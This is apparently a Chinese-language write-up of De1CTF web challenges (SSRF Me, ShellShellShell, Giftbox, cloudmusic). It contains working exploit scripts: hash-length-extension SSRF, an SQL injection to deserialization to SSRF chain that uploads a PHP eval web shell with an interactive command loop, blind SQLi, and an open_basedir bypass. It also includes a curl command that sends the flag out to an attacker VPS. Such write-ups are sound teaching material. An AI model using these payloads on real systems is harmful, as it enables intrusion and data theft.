De1ctf_web

周末打了De1ctf_web,总结下web题解。还差一道9clac不会做,等做出来了再补上。

SSRF ME

代码审计,先通逻辑
首先会有md5的验证

1
2
3
4
5
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

这里利用hash长度拓展攻击,不再详述。
验证成功后利用scan函数来读取

1
2
3
4
5
6
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

但是不能以file和gopher作为开头

1
2
3
4
5
6
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

查询资料发现了绕过方法https://bugs.python.org/issue35907
可以利用local_file:///etc/passwd来绕过不能以file开头的限制。
编写脚本实现攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashpumpy
import requests
import urllib

url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
sign = r.text
hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16)
cookies={
'sign': hash_sign[0],
'action': urllib.quote(hash_sign[1][len(url):])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)

print r.content

直接读取到flag

ShellShellShell

第一层

发现是Nu1Lctf原题
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
拿来脚本改一改成功getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hackhttp


_target = 'http://123.207.72.148:11027/'
_action = _target + 'index.php?action='
hh = hackhttp.hackhttp()

def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password


def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution


def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True


def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True


def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})


def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])


def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code


def brute_filename(prefix, ts, sessid):
ds = [''.join(i) for i in product(string.digits, repeat=3)]
ds += [''.join(i) for i in product(string.digits, repeat=2)]
# find uploaded file in max 1100 requests
for d in ds:
f = prefix + ts + d + '.jpg'
resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
if resp.status_code == 200:
return f
return False


print '[+] creating user session to trigger ssrf'
sess = requests.Session()


username, password = get_creds()


print '[+] register({}, {})'.format(username, password)
register(username, password)


print '[+] login({}, {})'.format(username, password)
login(username, password)


print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']


print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()


ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 46\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))


payload = 'a`, {}); -- -'.format(mood)


print '[+] final sqli/ssrf payload: ' + payload


print '[+] injecting payload through sqli'
resp = publish(payload, '0')


print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})


print '[+] admin session => ' + phpsessid


# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})


print '[+] uploading stager'
raw = """POST /index.php?action=publish HTTP/1.1
Host: 123.207.72.148:11027
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://45.76.187.90:11027/index.php?action=publish
Cookie: PHPSESSID={0}
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------324569584432534908382053661
Content-Length: 246


-----------------------------324569584432534908382053661
Content-Disposition: form-data; name="pic"; filename="fh.php"
Content-Type: image/jpeg


<?php eval($_REQUEST['a']); ?>


-----------------------------324569584432534908382053661--""".format(phpsessid)


url = _action + "publish"
code, head, html, redirect, log = hh.http(url, raw=raw)


if 'success' not in html:
print '[-] failed to upload shell, check admin session manually'
sys.exit(0)


shell = _target+'/upload/fh.php'
print '[+] shell => {}\n'.format(shell)


while True:
cmd = raw_input('$ ').strip()
if cmd == 'exit' or cmd == 'quit':
break
resp = requests.get('{}?a=system("{}");'.format(shell, cmd))
print resp.text

内网

getshell后没有发现flag,根据题目提示需要打内网,通过reGeorg挂上代理。
在172.18.0.2找到了另外一个web服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name'])
{
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename))
{
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1])
{
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php')
{
if(strpos($_,$new_name)===false)
{
include($_);
}
else
{
echo "you can do it!";
}
}
unlink($new_name);
}
else
{
highlight_file(__FILE__);
}

好像也是原题的样子。。
https://cloud.tencent.com/developer/article/1360551
构造payload直接打
利用/../altman1.php绕过随机文件名和删除

Giftbox

首先找到一处注入

尝试脚本盲注发现服务端有pyotp的认证。去JS中寻找实现方法。
在main.js中

又发现

1
OTP Library for Python located in js/pyotp.zip

讲pyoyp模块下载下来安装,python脚本构造验证,盲注脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests

import pyotp as pyotp

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)

def main():
get_all_databases()


def http_get(payload):

r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})

print('login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin')
print(r.text)
if 'password' in r.text:
return True
else:
return False


# 获取数据库
def get_all_databases():
# db_nums_payload = "select/**/count(*)/**/from/**/user"
# db_numbers = half(db_nums_payload)
# print("长度为:%d" % db_numbers)

db_payload = "select/**/concat(password)/**/from/**/users"
db_name = ""
for y in range(1, 64):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
y)
db_name += chr(half(db_name_payload))

print("值:" + db_name)


# 二分法函数
def half(payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s/**/>/**/%d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num


if __name__ == '__main__':
main()

爆破出admin的密码为hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
登录上去,并且根据提示查看

并发现提示

1
2
3
4
5
6
7
8
9
[De1ta Nuclear Missile Controlling System] 

login [username] [password]
logout
launch
targeting [code] [position]
destruct

Besides, there are some hidden commands, try to find them!

下面就是php沙盒绕过了。
taget命令赋值,launch执行赋值命令。
经过fuzz只有下面的值可用

1
#$&()+,-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}

构造字符串的执行
执行phpinfo并在response中找到回显

phpinfo中发现disable_function和open_basedir.
根据 https://xz.aliyun.com/t/4720 绕过open_basedir。base64编码绕过对某些字符的过滤。
构成最终的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
targeting a chdir
targeting b css
targeting c {$a($b)}
targeting d ini_set
targeting e open_basedir
targeting f ..
targeting g {$d($e,$f)}
targeting h {$a($f)}
targeting i {$a($f)}
targeting j base64_
targeting k decode
targeting l $j$k
targeting m Ly8v
targeting n {$l($m)}
targeting o {$d($e,$n)}
targeting p print_r
targeting q file_get_
targeting r contents
targeting s $q$r
targeting t flag
targeting u {$p($s($t))}
launch

cloudmusic

国赛决赛题目升级版
攻击流程和原题差不太多,见 https://github.com/impakho/ciscn2019_final_web1
这里主要说下与原题的区别。

读取文件

读取文件的地方增加了对.php的过滤,但是返回值给了提示urlencode。
尝试url编码后再base64编码,成功绕过,任意文件读取。

溢出长度

在原题的exp基础上修改溢出长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def upload_music():
url = site_url + '/hotload.php?page=upload'
data = {'file_id': '0'}
music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00'
files = {'file_data': music}
if logging: print(url)
if logging: print(data)
res = post(1, url, data, files)
if logging: print(res.text)
if '"status":1' in res.text:
try:
# n54LuyJyYLVpVO2w
return b64decode(json.loads(res.content.strip())['artist'])[:16]
except:
return ''
return ''

溢出得到密码

getshell

读取/include/firmware.php,贴上php部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
ob_end_clean();
header('Location: /hotload.php?page=login&err=1');
die();
}
if ($_SESSION['role']!='admin'){
$padding='Lorem ipsum dolor sit amet, consectetur adipisicing elit.';
for($i=0;$i<10;$i++) $padding.=$padding;
die('<div><div class="container" style="margin-top:30px"><h3 style="color:red;margin-bottom:15px;">Only admin is permitted.</h3></div><p style="visibility: hidden">'.$padding.'</p></div>');
}

if (isset($_FILES["file_data"])){
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.')));
}else{
mt_srand(time());
$firmware_filename=md5(mt_rand().$_SERVER['REMOTE_ADDR']);
$firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";
if (time()-$_SESSION['timestamp']<3){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'too fast, try later.')));
}
$_SESSION['timestamp']=time();
move_uploaded_file($_FILES["file_data"]["tmp_name"], $firmware_filename);
$handle = fopen($firmware_filename, "rb");
if ($handle==FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, unknown fault.')));
}
$flags = fread($handle, 4);
fclose($handle);
if ($flags!=="\x7fELF"){
unlink($firmware_filename);
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, not a valid elf file.')));
}
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'upload succ.')));
}
}else{
if (isset($_SERVER['CONTENT_TYPE'])){
if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'upload err, maximum file size is 1MB.')));
}
}
}

@$path=$_POST['path'];

function clean_string($str){
$str=str_replace("\\","",$str);
$str=str_replace("/","",$str);
$str=str_replace(".","",$str);
$str=str_replace(";","",$str);
return substr($str,0,32);
}

if (isset($path)){
$path=clean_string(trim((string) $path));
if (strlen($path)<=0||strlen($path)>64){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Format or length check failed.')));
}else{
$firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
if (!file_exists($firmware_filename)){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'File not found.')));
}else{
try{
$elf = FFI::cdef("
extern char * version;
", $firmware_filename);
$version=(string) FFI::string($elf->version);
if ($version === "cloudmusic_rev"){
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'Firmware version is cloudmusic_rev.')));
}else{
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Bad version.')));
}
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'Fail when loading firmware.')));
}
}
}
}
?>

与原题两个区别

  • 文件名方式变了,我们换一种爆破房时即可。
  • 固件被加载后,执行内容不会返回了。
    选择用curl讲执行结果带出。
    修改payload,继续使用原题中的exp。
    将exp中的ls替换为
    curl http://vps:2333/?a=`/usr/bin/tac /flag|base64`
    
    修改爆破文件名的方式

    执行后在vps上收到flag的base64编码,
    解码得到flag

    de1ctf{W3b_ANND_PWNNN_C1ou9mus1c_revvvv11}